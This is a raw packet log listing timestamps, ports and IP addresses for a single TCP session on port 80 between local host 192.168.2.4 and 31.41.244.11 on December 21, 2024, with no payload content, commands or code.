Dec 21, 2024 18:16:12.035722017 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.035751104 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.035778046 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.035778999 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.035815001 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.035828114 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.035859108 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.035866022 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.035903931 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.035913944 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.035950899 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.035959005 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.035986900 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.035996914 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.036036968 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.036050081 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.036073923 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.036088943 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.036118984 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.155817032 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.155911922 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.155944109 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.156009912 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.156028032 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.159897089 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.159966946 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.160017967 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.160068989 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.227762938 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.227809906 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.227835894 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.227866888 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.231802940 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.231873989 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.231937885 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.231983900 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.240175009 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.240256071 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.243371010 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.243443012 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.243565083 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.243616104 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.251755953 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.251808882 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.251883984 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.251929998 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.260173082 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.260205030 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.260246038 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.260289907 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.268475056 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.268537998 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.268652916 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.268708944 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.276856899 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.276910067 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.276953936 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.276997089 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.285223961 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.285276890 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.285581112 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.285635948 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.294013023 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.294037104 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.294061899 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.294080019 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.301517963 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.301557064 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.301573038 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.301597118 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.309046030 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.309104919 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.309134960 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.309180975 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.316046000 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.316114902 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.424196005 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.424300909 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.424314022 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.424346924 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.426405907 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.426489115 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.427298069 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.427393913 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.427393913 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.427442074 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.431502104 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.431592941 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.431605101 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.431638956 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.436292887 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.436347961 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.436403036 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.436472893 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.440412045 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.440479994 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.440548897 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.440601110 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.445456028 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.445511103 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.445539951 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.445555925 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.450115919 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.450169086 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.450181007 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.450222969 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.454288960 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.454349041 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.454499960 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.454556942 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.458609104 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.458672047 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.458929062 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.459011078 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.463285923 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.463349104 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.463387966 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.463576078 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.467631102 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.467700005 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.467807055 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.467866898 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.472079039 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.472177982 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.472234011 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.476659060 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.476816893 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.476898909 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.481240988 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.481295109 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.481363058 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.481415033 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.485732079 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.485784054 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.485928059 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.485975027 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.490297079 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.490381002 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.490518093 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.490565062 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.494856119 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.494921923 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.494966984 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.495014906 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.499483109 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.499536991 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.499587059 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.499639988 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.503977060 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.504090071 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.504214048 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.504264116 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.508563995 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.508616924 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.508816004 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.508873940 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.512975931 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.513031960 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.513166904 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.513214111 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.517483950 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.517565966 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.517641068 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.517693043 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.522084951 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.522150993 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.522376060 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.522428989 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.526765108 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.526824951 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.615792990 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.615830898 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.615901947 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.617026091 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.617089033 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.617212057 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.617265940 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.621706963 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.622009039 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.622087002 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.626120090 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.626461029 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.626535892 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.630656958 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.630887032 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.630953074 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.635143995 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.635371923 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.635375023 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.635466099 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.639647007 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.639801979 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.639868975 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.644354105 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.644426107 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.644484997 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.648850918 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.649053097 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.649187088 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.653347969 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.653558016 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.653623104 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.657840967 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.658199072 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.658282042 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.662389994 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.662602901 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.662676096 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.666867018 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.666976929 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.667047024 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.671418905 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.671705961 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.671767950 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.675981998 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.676068068 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.676084995 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.676139116 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.679227114 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.679291010 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.679368019 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.679423094 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.682528973 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.682584047 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.682622910 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.682667971 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.685770988 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.685833931 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.685874939 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.685933113 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.689207077 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.689279079 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.689280033 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.689332008 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.692392111 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.692456961 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.692496061 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.692548037 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.695667028 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.695746899 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.695785046 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.695868969 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.698951960 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.699033022 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.699039936 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.699090958 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.702379942 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.702429056 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.702440977 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.702476025 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.705519915 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.705538034 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.705579042 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.705599070 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.708797932 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.708861113 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.708921909 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.708970070 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.712332964 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.712496996 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.712560892 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.715379953 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.715490103 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.715548038 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.718704939 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.718760014 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.718795061 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.718846083 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.722067118 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.722158909 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.722215891 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.725302935 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.725380898 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.725414991 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.725467920 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.728590012 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.728866100 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.728919983 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.732163906 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.732213020 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.732265949 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.735321999 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.735377073 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.735433102 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.738470078 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.738487959 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.738523006 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.738554955 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.742026091 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.742053986 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.742106915 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.745277882 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.747246981 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.808260918 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.808346033 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.808446884 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.809348106 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.809431076 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.809804916 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.809870958 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.809880972 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.809928894 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.812753916 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.812882900 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.812942982 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.814631939 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.814683914 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.814717054 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.814780951 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.817239046 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.817348003 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.817408085 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.819931030 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.820151091 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.820214987 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.822659016 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.822709084 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.822737932 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.822788000 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.825349092 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.825427055 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.825478077 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.828005075 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.828301907 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.828353882 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.830720901 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.830739975 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.830771923 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.830805063 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.833398104 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.833678007 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.833734989 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.836129904 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.836421013 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.836498976 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.838680983 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.838731050 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.838776112 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.839003086 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.841211081 CET	80	49770	31.41.244.11	192.168.2.4
